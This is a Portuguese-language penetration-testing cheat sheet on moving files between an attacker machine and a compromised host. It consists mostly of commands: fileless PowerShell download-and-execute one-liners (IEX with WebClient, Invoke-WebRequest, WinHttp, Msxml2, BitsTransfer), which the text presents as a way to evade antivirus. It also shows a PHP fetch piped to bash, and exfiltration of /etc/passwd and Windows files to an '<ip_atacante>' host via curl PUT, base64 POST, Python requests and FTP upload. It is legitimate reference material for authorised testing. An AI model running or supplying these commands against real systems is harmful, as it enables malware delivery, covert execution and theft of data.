Configurando Servidor Web
Python
Abre um servidor web na porta 9999 (a porta padrão é a 8000):
Copy # Python 2
python - m SimpleHTTPServer 9999
# Python 3
sudo python3 - m http . server 9999
PHP
Copy php - S 0 . 0 . 0 . 0 : < port >
Ruby
Copy ruby -run -e httpd . -p < por t >
Baixando Arquivos de Servidores Web
Para baixar os arquivos dos servidores web acima (PHP e Python), utilize um dos comandos abaixo:
Linux
curl
Copy curl -O http:// < i p > : < por t > / < file.tx t >
curl < ur l > --output < output_fil e >
wget
Copy wget < i p > : < por t > / < file.tx t >
# Baixa todos os arquivos com recursividade quando a página web tem os arquivos expostos
wget -r -np -nH --cut-dirs=3 -R index.html http://site.com
Windows - Fileless
Essa técnica consiste em executar o arquivo diretamente na Memória RAM, sem precisar salvar no HD, fazendo assim com que o ataque fique em modo stealth, conseguindo realizar bypass em ferramentas de segurança, como o AV.
WebClient
Copy IEX(New-Object Net.WebClient ).downloadString( '<http://site.com/file>' )
( New-Object System.Net.WebClient ) .DownloadString( '<url>' )
powershell "(new-object System.Net.WebClient).DownloadString('http://site.com/file') | IEX"
powershell "IEX(New-Object Net.WebClient).downloadString('http://site.com/file')"
# Ignorando certificado SSL
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest (IWR)
Copy IEX (iwr '<http://site.com/file.ps1>' )
IEX(IWR -UseBasicParsing http://site/evil.exe )
# Ignorando configuração inicial do IE
Invoke-WebRequest < http://site.com/file.ps 1> -UseBasicParsing | IEX
Internet Explorer
Copy $ie=New-Object -comobject InternetExplorer.Application;$ie.visible = $False;$ie.navigate( '<http://site.com/file.ps1>' ); start-sleep -s 5 ;$r= $ie.Document.body.innerHTML;$ie.quit () ; IEX $r
certutil
Copy certutil -verifyctl -split -f http:// < ip_atacant e > / < file.ps 1>
WinHttpRequest
Copy # Máquina atacante
sudo python3 -m http.server 80
# Máquina alvo
$conn = new-object -com WinHttp.WinHttpRequest.5.1;
$conn .open ( 'GET' , 'http://<ip_atacante>/<file.ps1>' , $false);
$conn.send () ;
iex $conn .ResponseText
# Ou
$conn=new-object -com WinHttp.WinHttpRequest.5.1;$conn.open( 'GET' , '<http://site.com/file.ps1>' ,$false ); $conn.send () ; iex $conn .responseText
Msxml2
Copy # Máquina atacante
sudo python3 -m http.server 80
# Máquina alvo
$conn=New-Object -ComObject Msxml2.XMLHTTP;
$conn .open ( 'GET' , 'http://<ip_atacante>/<file.ps1>' , $false);
$conn.send () ;
iex $conn .responseText
# Ou
$conn=New-Object -ComObject Msxml2.XMLHTTP;$conn.open( 'GET' , '<http://site.com/file.ps1>' ,$false ); $conn.send () ; iex $conn .responseText
BitsAdmin, uma ferramente nativa do Windows que permite fazer download (e também upload) de arquivos.
Copy Import-Module bitstransfer
Start-BitsTransfer -Source "http://<ip>/<file>" -Destination "<output_file>"
# Ou
Import-Module bitstransfer ;
Start-BitsTransfer 'http://<ip>/<file>' $env :temp \t;
$r =gc $env :temp \t;
rm $env :temp \t;
iex $r
# Ou
Import-Module bitstransfer ; Start-BitsTransfer '<http://site.com/file.ps1>' $env :temp \t ; $r =gc $env :temp \t ; rm $env :temp \t ; iex $r
Windows - Salvando no HD
Powershell
Primeiro é preciso abrir uma sessão na máquina alvo
Copy $Session = New-PSSession -ComputerName < ip >
Após isso podemos transferir arquivo (de maneira bidirecional), com as seguintes maneiras:
Copy # Transferindo arquivo local para a máquina remota
Copy-Item -Path < C: \p ath \t o \f il e > -ToSession $Session -Destination < C: \p ath \t o \o utput_file \>
# Transferindo arquivo de máquina remota para máquina local
Copy-Item -Path "<C:\path\to\file>" -Destination < C: \p ath \t o \o utput_file \> -FromSession $Session
WebClient
Copy iex(New-Object Net.WebClient ).DownloadFile( "<http://site/file>" , "<C:\Users\user\Downloads\file>" )
( New-Object System.Net.WebClient ) .DownloadFile( '<url>' , '<outputfile>' )
# Ou
$webclient = New-Object System.Net.WebClient
$url = "https://domain.com/file.ps1"
$outputfile = "C:\Users\mysther\Desktop\file.ps1"
$webclient.DownloadFile($url, $outputfile)
Caso tenho problemas de certificado ao realizar download de arquivos via WebClient, execute o comando abaixo:
Copy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest (IWR)
Copy Invoke-WebRequest -Uri "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
Invoke-WebRequest "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
iwr -UseBasicParsing -Uri < http://site.com/file.ex e > -OutFile '<C:\Users\<user>\Downloads\file.exe>'
iwr http://site/evil.exe -o < output-name.ex e >
iwr http://site/evil.exe -OutFile < output-name.ex e >
Certutil
Copy cmd /c certutil -urlcache -split -f < http://ip/file.ex e > < c: \d ir \o utput \f ile.ex e >
nc
Copy # Máquina que irá receber o arquivo
nc -l -p < port a > > < fil e >
ncat -l -p < port a > --recv-only > < fil e >
# Máquina que irá enviar o arquivo
nc -q 0 < i p > < port a > < < fil e >
ncat --send-only < i p > < port a > < < fil e >
Copy # Máquina que irá enviar o arquivo
nc < i p > 443 > < fil e >
# Máquina que irá receber o arquivo
sudo nc -l -p 443 -q 0 < < fil e >
Ncat
Copy # Máquina que irá enviar o arquivo
sudo ncat -l -p 443 --send-only < < fil e >
# Máquina que irá receber o arquivo
ncat < i p > 443 --recv-only > < fil e >
cat < /dev/tcp/ < i p > /443 > < fil e >
RDP
Copy # xfreerdp
xfreerdp /v: < i p > /d: < domai n > /u: < use r > /p: '<pass>' /drive:linux, < /home/mysther/folde r >
# rdesktop
rdesktop < i p > -d < domai n > -u < use r > -p '<pass>' -r disk:linux= '/home/mysther/rdesktop/folder'
GfxDownloadWrapper
Copy GfxDownloadWrapper.exe "http://<ip>/<file>" "<C:\path\to\output_file>"
NGNIX
Criando diretório e atribuindo permissões
Copy sudo mkdir -p /var/www/uploads/myuploads
sudo chown -R www-data:www-data /var/www/uploads/myuploads
Crie arquivo de configuração em /etc/nginx/sites-available/upload.conf
, com o seguinte conteúdo:
Copy server {
listen 9001 ;
location /myuploads/ {
root /var/www/uploads ;
dav_methods PUT ;
}
}
Criar link simbólico
Copy sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Reiniciando o Ngnix
Copy sudo systemctl restart nginx.service
OBS.: Caso tenho algum erro nesse ponto, verifique o arquivo /var/log/nginx/error.log
para obter mais informações.
Removendo padrões do ngnix
Copy sudo rm /etc/nginx/sites-enabled/default
Agora basta enviar um arquivo via PUT.
Copy curl http:// < i p > :9001/myuploads/file.txt -T /etc/passwd
O arquivo enviado irá ser enviado para /var/www/uploads/myuploads/
.
PHP
Copy # Salvando arquivo
<? php file_put_contents( '<output_file>' , fopen ( 'http://<ip>/<file>' , 'r' )); ? >
# Ou
php -r "file_put_contents('output_file', file_get_contents('http://<ip>/<file>'));"
php -r '$file = file_get_contents("<http://<ip_atacante>/file>"); file_put_contents("<file_output>",$file);'
php -r 'const BUFFER = 1024; $fremote = fopen("<http://<ip_atacante>/file>", "rb"); $flocal = fopen("<file_output>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# Mostrando conteúdo do arquivo
php -r 'var_dump(file_get_contents("http://<ip>/<file>"));'
# Fileless
php -r '$lines = @file("<http://<ip_atacante>/file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Python 2 e 3
Copy python2 -c 'import urllib;urllib.urlretrieve ("<http://<ip_atacante>/file>", "<file_output>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<http://<ip_atacante>/file>", "<file_output>")'
Ruby
Copy ruby -e 'require "net/http"; File.write("<file_output>", Net::HTTP.get(URI.parse("<http://<ip_atacante>/file>")))'
Perl
Copy perl -e 'use LWP::Simple; getstore("<http://<ip_atacante>/file>", "<file_output>");'
Javascript
Primeiro salve o arquivo abaixo com o nome downloader.js
(ou outro nome da sua preferência)
Copy var WinHttpReq = new ActiveXObject ( "WinHttp.WinHttpRequest.5.1" );
WinHttpReq.Open( "GET" , WScript.Arguments ( 0 ) , /*async=*/ false );
WinHttpReq.Send () ;
BinStream = new ActiveXObject ( "ADODB.Stream" );
BinStream.Type = 1 ;
BinStream.Open () ;
BinStream.Write(WinHttpReq.ResponseBody );
BinStream.SaveToFile(WScript.Arguments(1 ));
Agora execute-o através do cscript.exe
, que é nativo Windows
Copy cscript.exe /nologo . \d ownloader.js < http:// < ip_atacant e > /fil e > < file_outpu t >
VBScript
Primeiro salve o arquivo abaixo com o nome downloader.vbs
(ou outro nome da sua preferência)
Copy dim xHttp: Set xHttp = createobject ( "Microsoft.XMLHTTP" )
dim bStrm: Set bStrm = createobject ( "Adodb.Stream" )
xHttp.Open "GET" , WScript.Arguments.Item ( 0 ) , False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item ( 1 ) , 2
end with
Agora execute-o através do cscript.exe
, que é nativo Windows
Copy cscript.exe /nologo . \d ownloader.vbs http://192.168.218.131/server.pem server.pem
Baixando Arquivos de Servidores FTP
Para este cenário, iremos precisar ter as credenciais de autenticação no servidor FTP. Todo o seu conteúdo será baixado de form recursiva
Copy wget -r ftp:// < use r > : < pas s > @ < i p > /
wget -m ftp:// < use r > : < pas s > @ < i p > /
wget -m --user < use r > --password '<pass>' ftp:// < i p >
SCP (Download/Upload)
Arquivos do Linux para Linux
Certifique-se de que o host remoto tenha o SSH
instalado, pois esse processo irá pedir a senha do usuário em questão.
Copy # Download
scp < use r > @ < i p > :/ < diretori o > / < complet o > / < arquivo.tx t > / < diretori o > / < loca l > /
# Upload
scp / < diretori o > / < loca l > / < arquivo.tx t > < use r > @ < i p > :/ < diretori o > / < complet o > /
OBS.: Utilize o parâmetro -r
depois do scp
para enviar um diretório completo de modo recursivo.
Arquivos do Windows para Linux
Ao colocar o caminho absoluto em sistema Windows, temos que fazer um pouco diferente, pois o :
é utilizado como delimitador entre host e path, porém o Windows tem um :
após sua unidade de disco (Ex.: C:\), então devemos escapar isso utilizando aspas duplas e invertendo as barras.
Copy scp < use r > @ < ip-window s > : "<C:/Users/Administrator/file.txt>" .
Clonando Site
Esse tipo de clone é com recursividade
Copy wget -m -p -E -k -K -np -v < sit e >
Netcat
Método 1
Copy # Receptor
nc -lvp < por t > > < fil e >
# Remetente
cat < fil e > | nc < i p > < por t >
Método 2
Copy # Receptor
nc -l -p < por t > -q 1 > < file.zi p > < /dev/null
# Remetente
cat < file.zi p > | netcat < ip_host_recepto r > < por t >
OBS.: Utilizando esse segundo método, assim que o host receber o arquivo, o nc será finalizado, porém ele continuará baixando o arquivo em background.
Método 3
Copy # Remetente
nc -nlvp < por t > < < fil e >
# Receptor
nc < i p > < por t > > < fil e >
xfreerdp
Irá ser criado a unidade data
no Windows, que pode ser acessada no /tmp
do Linux.
Copy xfreerdp /v: < i p > /u: < use r > /p: < pas s > /drive:data,/tmp
Socat
Recebendo arquivo:
Copy socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat # Server
socat -u FILE:test.txt TCP:127.0.0.1:9876 # Client
Enviando arquivo:
Copy socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat
Base64
Copiando e Colando
No host onde contém o arquivo, iremos digitar o comando:
Copy # Linux
base64 -w 0 < file_to_transfe r >
cat < file_to_transfe r > | base64 -w 0
# Windows
[Convert]::ToBase64String((Get - Content - path "<file>" - Encoding byte))
Copie a saída encodada em base64 e execute no host onde o arquivo irá ser salvo:
Copy # Linux
echo '<base64_encode>' | base64 -d > < output_fil e >
# Windows
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String( '<base64_encode>' ))
[IO.File]::WriteAllBytes( "<output_file>" , [Convert]::FromBase64String( "<base64_encode>" ))
Enviando via POST
Também podemos encodar um arquivo e enviá-lo via POST. Primeiro vamos abrir o nosso listener para receber o conteúdo do arquivo em base64.
Agora na máquina alvo, execute:
Copy [System.convert]::ToBase64String((Get - Content - Path 'C:\Windows\System32\drivers\etc\hosts' - Encoding Byte))
Invoke-WebRequest -Uri http:// < ip_atacant e > :8000/ -Method POST -Body $b64
SMB
Esse método utiliza o Linux como um servidor SMB e iremos acessar os seus arquivos através do Windows (PowerShell), como em um mapeamento de unidade de rede.
impacket-smbserver
Execute no Linux:
Copy # Com autenticação
impacket-smbserver < name_serve r > < share_director y > -smb2support -user < use r > -password < pas s >
# Sem autenticação
sudo python3 smbserver.py < share_director y > .
Execute no Windows de duas maneiras, via web browser / UNC, com o caminho:
Copy \\ <ip_atacante>\<share_directory>\<file.txt>
Ou se preferir, via powershell, da seguinte maneira:
Copy # Conectando
$pass = convertto-securestring '<pass>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential( '<name_server>' , $pass)
New-PSDrive -Name < new_name_shar e > -PSProvider FileSystem -Credential $cred -Root \\ < ip_linu x > \< name_serve r >
# Acessando
cd < new_name_shar e > :
ls
No comando New-PSDrive...
não é necessário ter mesmo name
que foi setado no Linux. Caso precise realizar mais de uma conexão, altere esse valor.
smbserver.py (Impacket)
Compartilhando o arquivo via Linux
Copy sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py < name_shar e > .
Baixando o arquivo pelo Windows
Copy copy \\ < i p > \< name_shar e > \f ile.txt .
FTP
Download
Máquina que irá fornecer o arquivo
Copy sudo python3 -m pyftpdlib --port 21
Depois acesse o ftp com o usuário anonymous
a partir da máquina que irá receber o arquivo
Copy # Linux
ftp < i p >
# Windows
( New-Object Net.WebClient ) .DownloadFile( 'ftp://<ip>/<file>' , '<C:\path\to\output_file>' )
# ou
echo open < i p > > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET < file_downloa d > >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
Upload
Na máquina atacante vamos abrir um FTP com permissão de escrita, para que assim, a máquina comprometida realize upload de arquivos.
Copy sudo python3 -m pyftpdlib --port 21 --write
Realizando upload na máquina alvo
Copy ( New-Object Net.WebClient ) .UploadFile( 'ftp://<ip_atacante>/<output_filename>' , '<c:\path\to\file>' )
# Ou
echo open < ip_atacant e > > command.txt
echo USER anonymous >> command.txt
echo binary >> command.txt
echo PUT < c: \p ath \t o \f il e > >> command.txt
echo < output_filenam e > >> command.txt
ftp -v -n -s:command.txt
UploadServer
Esse método é um pouco diferente dos demais, pois apesar de termos uma máquina atacante sendo utilizada como servidor, dessa vez será um servidor que irá aceitar upload de arquivos, ou seja, a máquina alvo irá realizar enviar os arquivos para a máquina atacante. Se quiser baixar arquivos do server, acesse a raiz (http://<ip>:<port>
) e se quiser fazer um upload, acesso http://<ip>:<port>/upload
.
Copy # Instalando o módulo
pip3 install uploadserver
# Iniciando o servidor
python3 -m uploadserver < por t >
Agora que já temos um servidor que aceita upload de arquivos, vamos acessá-lo a partir de um Windows (nossa máquina alvo) e enviar arquivos através do script PSUpload.ps1
. Note que temos que passar o /upload
no final da URI, porém ao recebermos o arquivo, ele estará no mesmo diretório em que o servidor foi executado.
Copy . . \P SUpload.ps1
Invoke-FileUpload -Uri http:// < ip_atacant e > : < por t > /upload -File < C: \p ath \t o \f il e >
Ou então, fazer um upload a partir do Python
Copy python3 -c 'import requests;requests.post("http://<ip_atacante>:<port>/upload", files={"files":open("/etc/passwd","rb")})'
TempDavFS
Ferramenta semelhante ao smbserver
, para disponibilizar arquivos entre computadores
Copy Import-Module . \I nvoke-TempDavFS.psm1
Invoke-TempDavFS
Sites
Copy # PSUpload.ps1
https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1
# Tool para transferir arquivos via ICMP
https://github.com/icyguider/ICMP-TransferTools
# Invoke-TmpDavFS
https://github.com/p3nt4/Invoke-TmpDavFS
# UploadServer
https://github.com/Densaugeo/uploadserver